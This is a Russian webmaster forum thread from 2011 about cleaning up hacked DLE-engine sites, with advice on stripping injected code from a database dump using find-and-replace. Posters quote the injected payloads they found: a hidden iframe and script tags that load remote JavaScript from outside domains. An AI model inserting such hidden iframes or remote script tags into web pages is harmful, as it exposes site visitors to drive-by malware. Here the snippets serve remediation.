psash

resurskab.ru
Рейтинг
0
Регистрация
10.01.2011
Взломали сайт на DLE
siv1987:
Ворд это конечно жесть. Кажется тот же блокнот++ может заменять по регулярному выражению.

Ворд это нормальная вещь, но конечно не для php программирования, а для замены текста отличный вариант

psash добавил 10.01.2011 в 19:55

djos:
Я уже писал чт онужно убрать код с полной новости

Пробовал как стандартной автозаменой движка так и sql запросом

djos добавил 10.01.2011 в 15:54
Запрос дает поменять адре с сайта но полностю код убрать не получается....думаю виной знак \"

С моей точки зрения, лучший вариант это открыть в ворде дамп и там произвести замену с помошью подстановочных знаков

psash добавил 10.01.2011 в 20:02

djos:
А как такую хрень удалить?
Запрос автозамены его суку не берет 
<iframe src=\"http://orenusikqa.info/for.cgi?10\" width=\"3\" height=\"2\" style=\"visibility:hidden;\"></iframe>

открыть дамп таблицы dle_post в ворде и открыть окно поиск и замена, в дополнительных параметрах поставить галочку "Подстановочные знаки" и в поле "Найти" ввести

?iframe src*iframe?
а поле "Заменить на" оставить пустым и нажать "Заменить все"

И проблема будет решена, без всяких заморочек

psash добавил 10.01.2011 в 20:23

Сообщение от Kursor
php/perl + регулярки не отменяли вроде как. Сделать дамп и работать с текст. файлом. Хотя можно и в консоли)

Много умничают, а реальной помощи нет:

А как такую хрень удалить?
Запрос автозамены его суку не берет
Код:
<iframe src=\"http://orenusikqa.info/for.cgi?10\" width=\"3\" height=\"2\" style=\"visibility:hidden;\"></iframe>
Взломали сайт на DLE
Kursor:
php/perl + регулярки не отменяли вроде как. Сделать дамп и работать с текст. файлом. Хотя можно и в консоли)

Молодец, что знаешь php и все остальное, хвастаться можешь. А как быть кто не знает?! Работать только с дампом!

psash добавил 10.01.2011 в 15:48

djos:
никто не знает как мне помочь?
запросом автозамены я так понял не берет из за символов \"

А где пользуешься автозаменой? На сайте в админке или еще где? Выложи то что нужно убрать!

psash добавил 10.01.2011 в 15:49

Хортица:
Это как это ? о_О


Интересно, сколько Вы потратите время на базу в 130 000 новостей и размером в 1,03 Гб ?

Столько, сколько этого потребуется!

Взломали сайт на DLE

У меня тоже было, что на сайте появлялись левые админы. Все время удалял и банил, но безтолку. Потом поставил упрощенную регистрацию на сайте (без подтверждения почты) и админы пропали.

Но через неделю обнаружил у себя посторонний код в каждой новости да еще и в краткой и полной

<script src="http://zheenix.msk.ru/76403bc14134a2b49668b579a3b33ae6.js" type="text/javascript"></script><script src="http://zheenix.msk.ru/f71879559bcfc86dd2ddeb0cf71e135c.js" type="text/javascript"></script><script src="http://ivan81.ucoz.ru/engine.js" type="text/javascript"></script>

стал удалять через админку сайта поиск и замена, удалил все кроме такого кода 76403bc14134a2b49668b579a3b33ae6, потому что он разный в каждой новости, а крыжить 40000 тыс новостей в ручную не хотелось. Не успел удалить, как появился другой подобный код, только ссылки были на другой сайт юкоза. И еще заметил, что полная новость не полностью, а лишь тот кусочек что и в краткой новости.

База новостей была размером 150 метров. Попытался открыть вордом, но это было не реально. Пришлось открывать блокнотом с плагинами и по частям копировать в ворд, а там уже через поиск и замену удалять. С ворда копировал в другой файл, который потом открыл через phpadmin и импортировал все обратно. Поставил заплатки. Посмотрим что будет.

psash добавил 10.01.2011 в 12:39

Если кому нужна помощь, помогу за символическую плату в удалении такого говна с новостей